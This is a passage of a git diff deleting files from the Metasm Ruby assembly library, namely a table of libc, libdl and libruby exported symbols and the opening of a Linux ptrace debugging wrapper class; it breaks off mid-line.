fnmatch fnmatch fopen fopen fopencookie fopencookie fprintf fputc fputc_unlocked fputs_unlocked - fputwc fputwc_unlocked fputws fputws_unlocked fread_unlocked free freeaddrinfo freeifaddrs fremovexattr freopen freopen64 fscanf fseek fseeko fseeko64 fsetpos - fsetpos fsetpos64 fsetpos64 fsetxattr fstatvfs ftello ftello64 ftime ftok fts_children fts_close fts_open fts_read fts_set ftw ftw64 futimens futimesat fwide - fwrite_unlocked fwscanf gai_strerror gcvt get_current_dir_name get_kernel_syms get_myaddress getaddrinfo getaliasbyname getaliasbyname_r getaliasbyname_r - getaliasent getaliasent_r getaliasent_r getchar getchar_unlocked getdate getdirentries getdirentries64 getdomainname getenv getfsent getfsfile getfsspec - getgrent getgrent_r getgrent_r getgrgid getgrgid_r getgrgid_r getgrnam getgrnam_r getgrnam_r getgrouplist gethostbyaddr gethostbyaddr_r gethostbyaddr_r - gethostbyname gethostbyname2 gethostbyname2_r gethostbyname2_r gethostbyname_r gethostbyname_r gethostent gethostent_r gethostent_r gethostid getifaddrs - getipv4sourcefilter getloadavg getlogin getlogin_r getmntent getmsg getnameinfo getnetbyaddr getnetbyaddr_r getnetbyaddr_r getnetbyname getnetbyname_r - getnetbyname_r getnetent getnetent_r getnetent_r getnetgrent getnetname getopt getopt_long getopt_long_only getpass getpgrp getpid getpmsg getpriority - getprotobyname getprotobyname_r getprotobyname_r getprotobynumber getprotobynumber_r getprotobynumber_r getprotoent getprotoent_r getprotoent_r getpublickey - getpwent getpwent_r getpwent_r getpwnam getpwnam_r getpwnam_r getpwuid getpwuid_r getpwuid_r getrlimit getrlimit getrlimit64 getrlimit64 getrpcbyname - getrpcbyname_r getrpcbyname_r getrpcbynumber getrpcbynumber_r getrpcbynumber_r getrpcent getrpcent_r getrpcent_r getrpcport getsecretkey getservbyname - getservbyname_r getservbyname_r getservbyport getservbyport_r getservbyport_r getservent getservent_r getservent_r getsid getsockname getsourcefilter getspent - getspent_r getspent_r getspnam getspnam_r getspnam_r getsubopt getttyent getttynam getusershell getutmp getutmpx getutxent getutxid getutxline getw getwchar - getwchar_unlocked getwd getxattr glob glob64 glob64 globfree globfree64 gmtime gnu_dev_major gnu_dev_makedev gnu_dev_minor grantpt gtty hcreate hcreate_r - hdestroy_r herror host2netname hsearch hsearch_r hstrerror htonl htons iconv iconv_close iconv_open if_freenameindex if_indextoname if_nameindex - if_nametoindex inet6_opt_append inet6_opt_find inet6_opt_finish inet6_opt_get_val inet6_opt_init inet6_opt_next inet6_opt_set_val inet6_option_alloc - inet6_option_append inet6_option_find inet6_option_init inet6_option_next inet6_option_space inet6_rth_add inet6_rth_getaddr inet6_rth_init inet6_rth_reverse - inet6_rth_segments inet6_rth_space inet_addr inet_lnaof inet_makeaddr inet_netof inet_network inet_nsap_addr inet_nsap_ntoa inet_ntoa inet_ntop inet_pton - init_module initgroups innetgr inotify_add_watch inotify_init inotify_rm_watch insque ioperm iopl iruserok iruserok_af isalnum isalpha isascii isastream - isblank iscntrl isdigit isfdtype isgraph islower isprint ispunct isspace isupper isxdigit jrand48 key_decryptsession key_decryptsession_pk key_encryptsession - key_encryptsession_pk key_gendes key_get_conv key_secretkey_is_set key_setnet key_setsecret killpg klogctl l64a labs lchmod lcong48 ldiv lfind lgetxattr - linkat listen listxattr llabs lldiv llistxattr localeconv localeconv localtime lockf lockf64 lrand48 lrand48_r lremovexattr lsearch lsetxattr lutimes madvise - malloc mblen mbstowcs mbtowc mcheck mcheck_check_all mcheck_pedantic memcmp memcpy memfrob memmem memmove mempcpy memset mincore mkdirat mkdtemp mkfifo - mkfifoat mkstemp mkstemp64 mktemp mktime mlock mlockall mprobe mrand48 mrand48_r msgctl msgctl msgget mtrace munlock munlockall muntrace netname2host - netname2user nfsservctl nftw nftw nftw64 nftw64 nice nl_langinfo nrand48 ntp_gettime obstack_free open_memstream open_wmemstream openlog parse_printf_format - passwd2des pclose pclose perror pivot_root pmap_getmaps pmap_getport pmap_rmtcall pmap_set pmap_unset popen popen posix_fadvise posix_fadvise64 - posix_fadvise64 posix_fallocate posix_fallocate64 posix_fallocate64 posix_madvise posix_spawn posix_spawn_file_actions_addclose - posix_spawn_file_actions_adddup2 posix_spawn_file_actions_addopen posix_spawn_file_actions_destroy posix_spawn_file_actions_init posix_spawnattr_destroy - posix_spawnattr_getflags posix_spawnattr_getpgroup posix_spawnattr_getschedparam posix_spawnattr_getschedpolicy posix_spawnattr_getsigdefault - posix_spawnattr_getsigmask posix_spawnattr_init posix_spawnattr_setflags posix_spawnattr_setpgroup posix_spawnattr_setschedparam - posix_spawnattr_setschedpolicy posix_spawnattr_setsigdefault posix_spawnattr_setsigmask posix_spawnp ppoll printf printf_size printf_size_info psignal - pthread_attr_destroy pthread_attr_getdetachstate pthread_attr_getinheritsched pthread_attr_getschedparam pthread_attr_getschedpolicy pthread_attr_getscope - pthread_attr_init pthread_attr_init pthread_attr_setdetachstate pthread_attr_setinheritsched pthread_attr_setschedparam pthread_attr_setschedpolicy - pthread_attr_setscope pthread_cond_broadcast pthread_cond_broadcast pthread_cond_destroy pthread_cond_destroy pthread_cond_init pthread_cond_init - pthread_cond_signal pthread_cond_signal pthread_cond_timedwait pthread_cond_timedwait pthread_cond_wait pthread_cond_wait pthread_condattr_destroy - pthread_condattr_init pthread_equal pthread_exit pthread_getschedparam pthread_mutex_destroy pthread_mutex_init pthread_mutex_lock pthread_mutex_unlock - pthread_self pthread_setcanceltype pthread_setschedparam ptrace ptsname putc_unlocked putchar putchar_unlocked putenv putgrent putmsg putpmsg putpwent - putspent pututxline putw putwc putwc_unlocked putwchar putwchar_unlocked qecvt qecvt_r qfcvt qfcvt_r qgcvt qsort query_module quotactl raise rand rand_r rcmd - rcmd_af readdir64 readdir64 readdir64_r readdir64_r readlinkat realloc realpath realpath reboot regexec regexec registerrpc remove removexattr remque rename - renameat revoke rewind rewinddir rexec rexec_af rpmatch rresvport rresvport_af rtime ruserok ruserok_af ruserpass scandir scandir64 scandir64 scanf - sched_getaffinity sched_getaffinity sched_getcpu sched_setaffinity sched_setaffinity seed48 seekdir semctl semctl semget semop semtimedop sendfile sendfile64 - setaliasent setbuf setdomainname setegid seteuid setfsent setfsgid setfsuid setgrent setgroups sethostent sethostid sethostname setipv4sourcefilter setjmp - setlinebuf setlocale setlogin setlogmask setnetent setnetgrent setpgrp setpriority setprotoent setpwent setrlimit setrlimit setrlimit64 setrpcent setservent - setsockopt setsourcefilter setspent setttyent setusershell setutxent setxattr sgetspent shmat shmctl shmctl shmdt shmget sigaddset sigandset sigdelset - sigemptyset sigfillset siggetmask sighold sigignore siginterrupt sigisemptyset sigismember sigorset sigpending sigrelse sigset sigstack sockatmark splice - sprintf srand48 sscanf sstk statvfs stime strcat strchr strcmp strcoll strcpy strcspn strerror strerror_l strfmon strfry strftime strlen strncat strncmp - strncpy strnlen strpbrk strptime strrchr strsignal strspn strstr strtoimax strtok strtol strtoll strtoul strtoull strtoumax strxfrm stty svc_exit svc_getreq - svc_getreq_common svc_getreq_poll svc_getreqset svc_register svc_run svc_sendreply svc_unregister svcerr_auth svcerr_decode svcerr_noproc svcerr_noprog - svcerr_progvers svcerr_systemerr svcerr_weakauth svcfd_create svcraw_create svctcp_create svcudp_bufcreate svcudp_create svcudp_enablecache svcunix_create - svcunixfd_create swab swprintf swscanf symlinkat sync sync_file_range syscall sysinfo syslog tcflow tcflush tcgetpgrp tcgetsid tcsendbreak tcsetattr tcsetpgrp - tee telldir tempnam time timegm tmpfile tmpfile tmpfile64 tmpnam tmpnam_r toascii tolower toupper towlower towupper tr_break truncate64 ttyname ttyslot ualarm - ungetwc unlinkat unlockpt unshare updwtmpx uselib user2netname usleep ustat utime utimensat utmpxname verr verrx versionsort versionsort64 versionsort64 - vfprintf vhangup vlimit vm86 vm86 vmsplice vprintf vswscanf vsyslog vtimes vwarn vwarnx vwprintf vwscanf warn warnx wcschr wcscmp wcscpy wcscspn wcsdup - wcsftime wcsncat wcsncmp wcspbrk wcsrchr wcsspn wcsstr wcstoimax wcstok wcstol wcstoll wcstombs wcstoul wcstoull wcstoumax wcswidth wcsxfrm wctob wctomb - wcwidth wmemchr wmemcmp wmemset wordexp wordfree wprintf wscanf xdecrypt xdr_accepted_reply xdr_array xdr_authdes_cred xdr_authdes_verf xdr_authunix_parms - xdr_bool xdr_bytes xdr_callhdr xdr_callmsg xdr_char xdr_cryptkeyarg xdr_cryptkeyarg2 xdr_cryptkeyres xdr_des_block xdr_double xdr_enum xdr_float xdr_free - xdr_getcredres xdr_hyper xdr_int xdr_int16_t xdr_int32_t xdr_int64_t xdr_int8_t xdr_key_netstarg xdr_key_netstres xdr_keybuf xdr_keystatus xdr_long - xdr_longlong_t xdr_netnamestr xdr_netobj xdr_opaque xdr_opaque_auth xdr_pmap xdr_pmaplist xdr_pointer xdr_quad_t xdr_reference xdr_rejected_reply xdr_replymsg - xdr_rmtcall_args xdr_rmtcallres xdr_short xdr_sizeof xdr_string xdr_u_char xdr_u_hyper xdr_u_int xdr_u_long xdr_u_longlong_t xdr_u_quad_t xdr_u_short - xdr_uint16_t xdr_uint32_t xdr_uint64_t xdr_uint8_t xdr_union xdr_unixcred xdr_vector xdr_void xdr_wrapstring xdrmem_create xdrrec_create xdrrec_endofrecord - xdrrec_eof xdrrec_skiprecord xdrstdio_create xencrypt xprt_register xprt_unregister - _Exit _IO_fprintf __close __connect __ctype_get_mb_cur_max __fcntl __getdelim __isascii_l __lseek __nanosleep __open __open64 __pread64 __pwrite64 __read - __send __sigaction __toascii_l __vsnprintf __vsscanf __wait __write __xpg_sigpause _flushlbf _longjmp accept access addmntent adjtime adjtimex advance - argp_error argp_failure argp_help argp_parse argp_state_help argp_usage argz_add argz_add_sep argz_append argz_count argz_create argz_create_sep argz_extract - argz_insert argz_next argz_replace argz_stringify asctime_r asprintf backtrace backtrace_symbols backtrace_symbols_fd bcmp bind_textdomain_codeset - bindtextdomain brk bsd_signal btowc bzero calloc canonicalize_file_name cfree chdir chmod clearenv clone close closedir connect copysign copysignf copysignl - creat dcgettext dcngettext dgettext dl_iterate_phdr dngettext dup dup2 duplocale eaccess endmntent endutent erand48_r error error_at_line euidaccess execve - fchdir fchmod fchown fcloseall fcntl fdatasync fdopendir feof ferror fflush ffsl fgetc fgetc_unlocked fgetgrent_r fgetpwent_r fgets fgetspent_r fgetwc - fgetwc_unlocked fileno_unlocked finite finitef finitel flock flockfile fopen64 fork fpathconf fputs fread freelocale frexp frexpf frexpl fstatfs fstatfs64 - fstatvfs64 fsync ftell ftruncate ftruncate64 ftrylockfile funlockfile futimes fwprintf fwrite get_avphys_pages get_nprocs get_nprocs_conf get_phys_pages getc - getc_unlocked getcontext getcwd getdate_r getdelim getdtablesize getegid geteuid getgid getgroups gethostname getitimer getline getmntent_r getnetgrent_r - getpagesize getpeername getpgid getppid getpt getpw getresgid getresuid getrusage gets getsockopt gettext gettimeofday getuid getutent getutent_r getutid - getutid_r getutline getutline_r getwc getwc_unlocked glob_pattern_p gmtime_r gnu_get_libc_release gnu_get_libc_version group_member gsignal hasmntopt hdestroy - imaxabs imaxdiv index inet_aton initstate initstate_r ioctl isalnum_l isalpha_l isatty isblank_l iscntrl_l isctype isdigit_l isgraph_l isinf isinff isinfl - islower_l isnan isnanf isnanl isprint_l ispunct_l isspace_l isupper_l iswalnum iswalnum_l iswalpha iswalpha_l iswblank iswblank_l iswcntrl iswcntrl_l iswctype - iswctype_l iswdigit iswdigit_l iswgraph iswgraph_l iswlower iswlower_l iswprint iswprint_l iswpunct iswpunct_l iswspace iswspace_l iswupper iswupper_l - iswxdigit iswxdigit_l isxdigit_l jrand48_r kill lchown lckpwdf lcong48_r ldexp ldexpf ldexpl link llseek localtime_r longjmp lseek lseek64 makecontext - mallinfo malloc_get_state malloc_set_state malloc_stats malloc_trim malloc_usable_size mallopt mbrlen mbrtowc mbsinit mbsnrtowcs mbsrtowcs mcount memalign - memccpy memchr memrchr mkdir mmap mmap64 modf modff modfl modify_ldt moncontrol monstartup mount mprotect mremap msgrcv msgsnd msync munmap nanosleep - newlocale ngettext nl_langinfo_l nrand48_r ntohl ntohs ntp_adjtime obstack_printf obstack_vprintf on_exit open open64 openat openat64 opendir pathconf pause - personality pipe pipe2 poll posix_memalign posix_openpt prctl pread pread64 profil pselect pthread_setcancelstate ptsname_r putc puts pututline pvalloc pwrite - pwrite64 random random_r rawmemchr re_comp re_compile_fastmap re_compile_pattern re_exec re_match re_match_2 re_search re_search_2 re_set_registers - re_set_syntax read readahead readdir readdir_r readlink readv recv recvfrom recvmsg regcomp regerror regfree register_printf_function remap_file_pages - res_init rindex rmdir sbrk scalbln scalblnf scalblnl scalbn scalbnf scalbnl sched_get_priority_max sched_get_priority_min sched_getparam sched_getscheduler - sched_rr_get_interval sched_setparam sched_setscheduler sched_yield seed48_r select send sendmsg sendto setbuffer setcontext setenv setgid setitimer setmntent - setpgid setregid setresgid setresuid setreuid setsid setstate setstate_r settimeofday setuid setutent setvbuf sgetspent_r shutdown sigaction sigaltstack - sigblock siglongjmp signal sigpause sigprocmask sigqueue sigreturn sigsetmask sigsuspend sigtimedwait sigvec sigwait sigwaitinfo sleep snprintf socket - socketpair sprofil srand srand48_r srandom srandom_r ssignal statfs statfs64 statvfs64 step stpcpy stpncpy strcasecmp strcasecmp_l strcasestr strchrnul - strcoll_l strdup strerror_r strfmon_l strftime_l strncasecmp strncasecmp_l strndup strptime_l strsep strtod_l strtof_l strtok_r strtol_l strtold_l strtoll_l - strtoq strtoul_l strtoull_l strtouq strverscmp strxfrm_l swapcontext swapoff swapon symlink sysconf sysctl system sysv_signal tcdrain tcgetattr tdelete - tdestroy textdomain tfind timelocal times tolower_l toupper_l towctrans towctrans_l towlower_l towupper_l truncate tsearch ttyname_r twalk tzset ulckpwdf - ulimit umask umount umount2 uname ungetc unlink unsetenv updwtmp uselocale utimes utmpname valloc vasprintf vdprintf vfork vfscanf vfwprintf vfwscanf vscanf - vsnprintf vsprintf vsscanf vswprintf wait wait3 wait4 waitid waitpid wcpcpy wcpncpy wcrtomb wcscasecmp wcscasecmp_l wcscat wcschrnul wcscoll wcscoll_l - wcsftime_l wcslen wcsncasecmp wcsncasecmp_l wcsncpy wcsnlen wcsnrtombs wcsrtombs wcstod_l wcstof_l wcstol_l wcstold_l wcstoll_l wcstoq wcstoul_l wcstoull_l - wcstouq wcswcs wcsxfrm_l wctrans wctrans_l wctype wctype_l wmemcpy wmemmove wmempcpy write writev -libdl.so.2 - dladdr dladdr1 dlclose dlerror dlinfo dlmopen dlopen dlopen dlsym dlvsym -libruby1.8.so.1.8 - Init_Array Init_Bignum Init_Binding Init_Comparable Init_Dir Init_Enumerable Init_Enumerator Init_Exception Init_File Init_GC Init_Hash Init_IO Init_Math - Init_Numeric Init_Object Init_Precision Init_Proc Init_Random Init_Range Init_Regexp Init_String Init_Struct Init_Thread Init_Time Init_eval Init_ext - Init_heap Init_load Init_marshal Init_pack Init_process Init_signal Init_stack Init_sym Init_syserr Init_var_tables Init_version _fini _init dln_find_exe - dln_find_file dln_load dtoa freedtoa is_ruby_native_thread posix_nativethread_signal rb_Array rb_Float rb_Integer rb_String rb_add_event_hook rb_add_method - rb_alias rb_alias_variable rb_any_to_s rb_apply rb_ary_aref rb_ary_assoc rb_ary_clear rb_ary_cmp rb_ary_concat rb_ary_delete rb_ary_delete_at rb_ary_dup - rb_ary_each rb_ary_entry rb_ary_freeze rb_ary_includes rb_ary_join rb_ary_new rb_ary_new2 rb_ary_new3 rb_ary_new4 rb_ary_plus rb_ary_pop rb_ary_push - rb_ary_rassoc rb_ary_reverse rb_ary_shift rb_ary_sort rb_ary_sort_bang rb_ary_store rb_ary_to_ary rb_ary_to_s rb_ary_unshift rb_assoc_new rb_attr rb_attr_get - rb_autoload rb_autoload_load rb_autoload_p rb_backref_get rb_backref_set rb_backtrace rb_big2dbl rb_big2ll rb_big2long rb_big2str rb_big2str0 rb_big2ull - rb_big2ulong rb_big2ulong_pack rb_big_2comp rb_big_and rb_big_clone rb_big_divmod rb_big_lshift rb_big_minus rb_big_mul rb_big_mul0 rb_big_norm rb_big_or - rb_big_plus rb_big_pow rb_big_rand rb_big_rshift rb_big_xor rb_block_call rb_block_dup rb_block_given_p rb_block_proc rb_bug rb_call_inits rb_call_super - rb_catch rb_check_array_type rb_check_backtrace rb_check_convert_type rb_check_frozen rb_check_inheritable rb_check_safe_obj rb_check_safe_str - rb_check_string_type rb_check_to_integer rb_check_type rb_class2name rb_class_boot rb_class_inherited rb_class_inherited_p rb_class_init_copy - rb_class_instance_methods rb_class_name rb_class_new rb_class_new_instance rb_class_path rb_class_private_instance_methods rb_class_protected_instance_methods - rb_class_public_instance_methods rb_class_real rb_clear_cache rb_clear_cache_by_class rb_cmperr rb_cmpint rb_compile_cstr rb_compile_error - rb_compile_error_append rb_compile_file rb_compile_string rb_const_defined rb_const_defined_at rb_const_defined_from rb_const_get rb_const_get_at - rb_const_get_from rb_const_list rb_const_set rb_convert_type rb_copy_generic_ivar rb_copy_node_scope rb_cstr2inum rb_cstr_to_dbl rb_cstr_to_inum rb_cv_get - rb_cv_set rb_cvar_defined rb_cvar_get rb_cvar_set rb_data_object_alloc rb_dbl2big rb_dbl_cmp rb_define_alias rb_define_alloc_func rb_define_attr - rb_define_class rb_define_class_id rb_define_class_under rb_define_class_variable rb_define_const rb_define_global_const rb_define_global_function - rb_define_hooked_variable rb_define_method rb_define_method_id rb_define_module rb_define_module_function rb_define_module_id rb_define_module_under - rb_define_private_method rb_define_protected_method rb_define_readonly_variable rb_define_singleton_method rb_define_variable rb_define_virtual_variable - rb_detach_process rb_disable_super rb_during_gc rb_dvar_curr rb_dvar_defined rb_dvar_push rb_dvar_ref rb_each rb_enable_super rb_ensure rb_enumeratorize - rb_env_path_tainted rb_eof_error rb_eql rb_equal rb_error_frozen rb_eval_cmd rb_eval_string rb_eval_string_protect rb_eval_string_wrap rb_exc_fatal - rb_exc_jump rb_exc_new rb_exc_new2 rb_exc_new3 rb_exc_raise rb_exec_end_proc rb_exec_recursive rb_exit rb_extend_object rb_f_abort rb_f_exec rb_f_exit - rb_f_global_variables rb_f_kill rb_f_lambda rb_f_require rb_f_sprintf rb_f_trace_var rb_f_untrace_var rb_fatal rb_fdopen rb_file_const rb_file_expand_path - rb_file_open rb_file_s_expand_path rb_file_sysopen rb_find_file rb_find_file_ext rb_fix2int rb_fix2str rb_float_new rb_fopen rb_frame_last_func - rb_frame_this_func rb_free_generic_ivar rb_frozen_class_p rb_funcall rb_funcall2 rb_funcall3 rb_funcall_rescue rb_gc rb_gc_abort_threads - rb_gc_call_finalizer_at_exit rb_gc_copy_finalizer rb_gc_disable rb_gc_enable rb_gc_finalize_deferred rb_gc_force_recycle rb_gc_mark rb_gc_mark_frame - rb_gc_mark_global_tbl rb_gc_mark_locations rb_gc_mark_maybe rb_gc_mark_parser rb_gc_mark_threads rb_gc_mark_trap_list rb_gc_register_address rb_gc_start - rb_gc_unregister_address rb_generic_ivar_table rb_genrand_int32 rb_genrand_real rb_get_kcode rb_getc rb_gets rb_glob rb_global_entry rb_global_variable - rb_gv_get rb_gv_set rb_gvar_defined rb_gvar_get rb_gvar_set rb_hash rb_hash_aref rb_hash_aset rb_hash_delete rb_hash_delete_if rb_hash_foreach rb_hash_freeze - rb_hash_lookup rb_hash_new rb_hash_reject_bang rb_hash_select rb_hash_values_at rb_id2name rb_id_attrset rb_include_module rb_inspect rb_inspecting_p - rb_int2big rb_int2inum rb_intern rb_interrupt rb_invalid_str rb_io_addstr rb_io_binmode rb_io_check_closed rb_io_check_initialized rb_io_check_readable - rb_io_check_writable rb_io_close rb_io_eof rb_io_flags_mode rb_io_fptr_finalize rb_io_fread rb_io_fwrite rb_io_getc rb_io_gets rb_io_mode_flags - rb_io_modenum_flags rb_io_print rb_io_printf rb_io_puts rb_io_set_nonblock rb_io_synchronized rb_io_taint_check rb_io_unbuffered rb_io_ungetc - rb_io_wait_readable rb_io_wait_writable rb_io_write rb_is_class_id rb_is_const_id rb_is_instance_id rb_is_junk_id rb_is_local_id rb_iter_break rb_iterate - rb_iterator_p rb_iv_get rb_iv_set rb_ivar_defined rb_ivar_get rb_ivar_set rb_jump_tag rb_kcode rb_kcode_reset_option rb_kcode_set_option rb_lastline_get - rb_lastline_set rb_ll2big rb_ll2inum rb_load rb_load_fail rb_load_file rb_load_protect rb_loaderror rb_make_metaclass rb_mark_end_proc rb_mark_generic_ivar - rb_mark_generic_ivar_tbl rb_mark_hash rb_mark_set rb_mark_tbl rb_marshal_dump rb_marshal_load rb_match_busy rb_mem_clear rb_memcicmp rb_memcmp rb_memerror - rb_memsearch rb_method_boundp rb_method_dup rb_method_node rb_mod_ancestors rb_mod_class_variables rb_mod_const_at rb_mod_const_missing rb_mod_const_of - rb_mod_constants rb_mod_include_p rb_mod_included_modules rb_mod_init_copy rb_mod_module_eval rb_mod_module_exec rb_mod_name rb_mod_remove_const - rb_mod_remove_cvar rb_module_new rb_name_class rb_name_error rb_need_block rb_newobj rb_node_newnode rb_notimplement rb_num2dbl rb_num2fix rb_num2int - rb_num2ll rb_num2long rb_num2ull rb_num2ulong rb_num_coerce_bin rb_num_coerce_cmp rb_num_coerce_relop rb_num_zerodiv rb_obj_alloc rb_obj_as_string - rb_obj_call_init rb_obj_class rb_obj_classname rb_obj_clone rb_obj_dup rb_obj_freeze rb_obj_id rb_obj_id_obsolete rb_obj_infect rb_obj_init_copy - rb_obj_instance_eval rb_obj_instance_exec rb_obj_instance_variables rb_obj_is_instance_of rb_obj_is_kind_of rb_obj_method rb_obj_remove_instance_variable - rb_obj_respond_to rb_obj_singleton_methods rb_obj_taint rb_obj_tainted rb_obj_tap rb_obj_type rb_obj_untaint rb_p rb_parser_append_print rb_parser_while_loop - rb_path2class rb_path_check rb_path_end rb_path_last_separator rb_path_next rb_path_skip_prefix rb_proc_call rb_proc_exec rb_proc_new rb_proc_times rb_protect - rb_protect_inspect rb_provide rb_provided rb_quad_pack rb_quad_unpack rb_raise rb_range_beg_len rb_range_new rb_read_check rb_read_pending - rb_reg_adjust_startpos rb_reg_eqq rb_reg_last_match rb_reg_match rb_reg_match2 rb_reg_match_last rb_reg_match_post rb_reg_match_pre rb_reg_mbclen2 rb_reg_new - rb_reg_nth_defined rb_reg_nth_match rb_reg_options rb_reg_quote rb_reg_regcomp rb_reg_regsub rb_reg_search rb_remove_event_hook rb_remove_method rb_require - rb_require_safe rb_rescue rb_rescue2 rb_reserved_word rb_respond_to rb_scan_args rb_secure rb_secure_update rb_set_class_path rb_set_end_proc rb_set_kcode - rb_set_safe_level rb_singleton_class rb_singleton_class_attached rb_singleton_class_clone rb_source_filename rb_str2cstr rb_str2inum rb_str_append - rb_str_associate rb_str_associated rb_str_buf_append rb_str_buf_cat rb_str_buf_cat2 rb_str_buf_new rb_str_buf_new2 rb_str_cat rb_str_cat2 rb_str_cmp - rb_str_concat rb_str_dump rb_str_dup rb_str_dup_frozen rb_str_format rb_str_freeze rb_str_hash rb_str_inspect rb_str_intern rb_str_locktmp rb_str_modify - rb_str_new rb_str_new2 rb_str_new3 rb_str_new4 rb_str_new5 rb_str_plus rb_str_resize rb_str_set_len rb_str_setter rb_str_split rb_str_substr rb_str_times - rb_str_tmp_new rb_str_to_dbl rb_str_to_inum rb_str_to_str rb_str_unlocktmp rb_str_update rb_str_upto rb_string_value rb_string_value_cstr rb_string_value_ptr - rb_struct_alloc rb_struct_aref rb_struct_aset rb_struct_define rb_struct_getmember rb_struct_iv_get rb_struct_members rb_struct_new rb_struct_s_members - rb_svar rb_sym_all_symbols rb_sym_interned_p rb_symname_p rb_sys_fail rb_sys_warning rb_syswait rb_tainted_str_new rb_tainted_str_new2 rb_thread_alive_p - rb_thread_alone rb_thread_atfork rb_thread_create rb_thread_current rb_thread_fd_close rb_thread_fd_writable rb_thread_group rb_thread_interrupt - rb_thread_join rb_thread_kill rb_thread_list rb_thread_local_aref rb_thread_local_aset rb_thread_main rb_thread_polling rb_thread_reset_raised rb_thread_run - rb_thread_schedule rb_thread_select rb_thread_set_raised rb_thread_signal_exit rb_thread_signal_raise rb_thread_sleep rb_thread_sleep_forever - rb_thread_start_timer rb_thread_stop rb_thread_stop_timer rb_thread_trap_eval rb_thread_wait_fd rb_thread_wait_for rb_thread_wakeup rb_thread_wakeup_alive - rb_throw rb_time_interval rb_time_new rb_time_timeval rb_to_id rb_to_int rb_trap_exec rb_trap_exit rb_trap_restore_mask rb_uint2big rb_uint2inum rb_ull2big - rb_ull2inum rb_undef rb_undef_alloc_func rb_undef_method rb_values_at rb_waitpid rb_warn rb_warning rb_with_disable_interrupt rb_write_error rb_write_error2 - rb_yield rb_yield_splat rb_yield_values re_mbc_startpos re_set_syntax ruby_brace_expand ruby_brace_glob ruby_cleanup ruby_default_signal ruby_each_words - ruby_exec ruby_finalize ruby_float_step ruby_getcwd ruby_glob ruby_incpush ruby_init ruby_init_ext ruby_init_loadpath ruby_init_stack ruby_native_thread_kill - ruby_options ruby_parser_stack_on_heap ruby_posix_signal ruby_process_options ruby_prog_init ruby_qsort ruby_re_adjust_startpos ruby_re_compile_fastmap - ruby_re_compile_pattern ruby_re_copy_registers ruby_re_free_pattern ruby_re_free_registers ruby_re_match ruby_re_mbcinit ruby_re_search ruby_re_set_casetable - ruby_run ruby_scan_hex ruby_scan_oct ruby_script ruby_set_argv ruby_set_current_source ruby_set_stack_size ruby_setenv ruby_show_copyright ruby_show_version - ruby_signal_name ruby_stack_check ruby_stack_length ruby_stop ruby_strdup ruby_strtod ruby_unsetenv ruby_xcalloc ruby_xfree ruby_xmalloc ruby_xrealloc - ruby_yyparse st_add_direct st_cleanup_safe st_copy st_delete st_delete_safe st_foreach st_foreach_safe st_free_table st_init_numtable - st_init_numtable_with_size st_init_strtable st_init_strtable_with_size st_init_table st_init_table_with_size st_insert st_lookup - rb_argv rb_argv0 rb_cArray rb_cBignum rb_cBinding rb_cClass rb_cCont rb_cData rb_cDir rb_cEnumerator rb_cFalseClass rb_cFile rb_cFixnum rb_cFloat rb_cHash - rb_cIO rb_cInteger rb_cMatch rb_cMethod rb_cModule rb_cNameErrorMesg rb_cNilClass rb_cNumeric rb_cObject rb_cProc rb_cRange rb_cRegexp rb_cStat rb_cString - rb_cStruct rb_cSymbol rb_cThread rb_cTime rb_cTrueClass rb_cUnboundMethod rb_class_tbl rb_curr_thread rb_default_rs rb_deferr rb_eArgError rb_eEOFError - rb_eException rb_eFatal rb_eFloatDomainError rb_eIOError rb_eIndexError rb_eInterrupt rb_eLoadError rb_eLocalJumpError rb_eNameError rb_eNoMemError - rb_eNoMethodError rb_eNotImpError rb_eRangeError rb_eRegexpError rb_eRuntimeError rb_eScriptError rb_eSecurityError rb_eSignal rb_eStandardError - rb_eStopIteration rb_eSyntaxError rb_eSysStackError rb_eSystemCallError rb_eSystemExit rb_eThreadError rb_eTypeError rb_eZeroDivError rb_fs rb_gc_stack_start - rb_global_tbl rb_last_status rb_load_path rb_mComparable rb_mEnumerable rb_mErrno rb_mFConst rb_mFileTest rb_mGC rb_mKernel rb_mMath rb_mPrecision rb_mProcGID - rb_mProcID_Syscall rb_mProcUID rb_mProcess rb_main_thread rb_origenviron rb_output_fs rb_output_rs rb_progname rb_prohibit_interrupt rb_rs rb_stderr rb_stdin - rb_stdout rb_thread_critical rb_thread_pending rb_trap_immediate rb_trap_pending re_mbctab ruby__end__seen ruby_class ruby_copyright ruby_cref - ruby_current_node ruby_debug ruby_description ruby_digitmap ruby_dln_librefs ruby_dyna_vars ruby_errinfo ruby_eval_tree ruby_eval_tree_begin ruby_frame - ruby_gc_stress ruby_ignorecase ruby_in_compile ruby_in_eval ruby_inplace_mode ruby_nerrs ruby_patchlevel ruby_platform ruby_release_date ruby_safe_level - ruby_sandbox_restore ruby_sandbox_save ruby_scope ruby_sourcefile ruby_sourceline ruby_top_cref ruby_top_self ruby_verbose ruby_version ruby_yychar - ruby_yydebug ruby_yylval rb_float_new_in_heap -EOL - curlibname = nil - data.each_line { |l| - list = l.split - curlibname = list.shift if l[0, 1] != ' ' - list.each { |export| EXPORT[export] = curlibname } - } -end -end diff --git a/lib/metasm/metasm/os/linux.rb b/lib/metasm/metasm/os/linux.rb deleted file mode 100644 index 240b4ed316..0000000000 --- a/lib/metasm/metasm/os/linux.rb +++ /dev/null @@ -1,1589 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/os/main' -require 'metasm/debug' - -module Metasm -class PTrace - attr_accessor :buf, :pid - - def self.open(target) - ptrace = new(target) - return ptrace if not block_given? - begin - yield ptrace - ensure - ptrace.detach - end - end - - # calls PTRACE_TRACEME on the current (ruby) process - def self.traceme - new(::Process.pid, false).traceme - end - - # creates a ptraced process (target = path) - # or opens a running process (target = pid) - # values for do_attach: - # :create => always fork+traceme+exec+wait - # :attach => always attach - # false/nil => same as attach, without actually calling PT_ATTACH (useful when the ruby process is already tracing pid) - # default/anything else: try to attach if pid is numeric, else create - def initialize(target, do_attach=true, &b) - case do_attach - when :create - init_create(target, &b) - when :attach - init_attach(target) - when :dup - raise ArgumentError unless target.kind_of?(PTrace) - @pid = target.pid - tweak_for_pid(@pid, target.tgcpu) # avoid re-parsing /proc/self/exe - when nil, false - @pid = Integer(target) - tweak_for_pid(@pid) - else - t = begin; Integer(target) - rescue ArgumentError, TypeError - end - t ? init_attach(t) : init_create(target, &b) - end - end - - def init_attach(target) - @pid = Integer(target) - tweak_for_pid(@pid) - attach - wait - puts "Ptrace: attached to #@pid" if $DEBUG - end - - def init_create(target, &b) - if not 